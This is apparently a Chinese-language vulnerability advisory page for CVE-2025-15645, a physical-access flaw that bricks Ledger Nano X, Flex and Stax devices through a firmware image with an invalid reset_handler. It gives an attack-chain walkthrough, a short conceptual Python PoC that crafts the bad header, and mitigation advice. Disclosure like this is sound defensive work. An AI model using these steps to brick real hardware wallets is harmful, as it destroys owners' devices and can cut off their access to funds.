IPBUF安全漏洞报告
English
CVE-2025-15645 CVSS 4.6 中危

CVE-2025-15645 Ledger设备MCU固件更新拒绝服务漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2025-15645
漏洞类型
拒绝服务
CVSS评分
4.6 中危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ledger Nano X, Ledger Flex, Ledger Stax

相关标签

DoSHardwareLedgerMCUFirmwarePhysicalBrick

漏洞概述

Ledger Nano X、Flex 及 Stax 硬件钱包设备的 MCU 固件更新机制存在安全漏洞。该漏洞源于固件刷新过程中缺少对 reset_handler 参数的严格验证。攻击者通过物理接触设备并植入恶意固件,可指定无效的 reset_handler 地址。这将导致设备在启动时访问非法内存或恶意代码,进而陷入不可恢复的故障状态,致使设备永久丧失运行能力,构成严重的拒绝服务风险。

技术细节

该漏洞位于 Ledger 设备的微控制器(MCU)固件更新逻辑中。在正常启动流程中,MCU 会读取 reset_handler 地址以执行初始化代码。然而,固件更新程序在写入新固件时,未对固件头部的 reset_handler 指针进行边界检查或合法性校验。由于攻击向量为物理接触(AV:P),攻击者需要获取设备物理访问权。利用此漏洞时,攻击者可以构建特制的固件镜像,将 reset_handler 指向未映射的内存区域或受控的恶意数据区域。当设备尝试重启以加载新固件时,CPU 会跳转到该无效地址执行指令,导致硬件异常或死锁。由于该错误发生在底层启动阶段,设备无法自动恢复,最终导致硬件“变砖”,永久失去功能,且无需任何用户交互或认证。

攻击链分析

STEP 1
物理接触
攻击者获取 Ledger Nano X/Flex/Stax 设备的物理访问权限。
STEP 2
构造恶意固件
攻击者修改固件镜像,将 reset_handler 指针修改为指向无效内存地址。
STEP 3
植入恶意代码
攻击者通过物理接口(如USB)将恶意固件刷入设备的 MCU。
STEP 4
触发漏洞
设备重启尝试加载新固件,CPU 跳转至无效地址执行指令。
STEP 5
拒绝服务
设备进入不可恢复的故障状态,永久丧失运行能力(变砖)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct # Conceptual PoC for CVE-2025-15645 # This script demonstrates how to craft a malicious firmware header # by modifying the reset_handler address to an invalid value. # Original firmware binary data (simulated) firmware_data = b'\x00' * 0x200 # Dummy header # Invalid memory address to cause crash (e.g., 0xDEADBEEF) # In a real scenario, this would be an address outside valid RAM/Flash malicious_reset_handler = 0xDEADBEEF # Pack the address into little-endian format (assuming 32-bit MCU) # Offset 0x04 is typically where the Reset Handler vector is in ARM Cortex-M offset_reset_handler = 0x04 malicious_bytes = struct.pack('<I', malicious_reset_handler) # Inject the malicious address into the firmware header crafted_firmware = firmware_data[:offset_reset_handler] + malicious_bytes + firmware_data[offset_reset_handler+4:] print("[+] Malicious firmware header crafted.") print(f"[+] Reset Handler set to: 0x{malicious_reset_handler:08X}") print("[*] If flashed, the device will attempt to jump to this address on boot and crash.") # Save the crafted firmware (simulated) with open("malicious_ledger_update.bin", "wb") as f: f.write(crafted_firmware)

影响范围

Ledger Nano X
Ledger Flex
Ledger Stax

防御指南

临时缓解措施
在官方发布修复补丁前,用户应避免将设备连接到不可信的电脑或接受非官方来源的固件更新。保持设备物理安全,防止未经授权的人员接触设备进行刷机操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表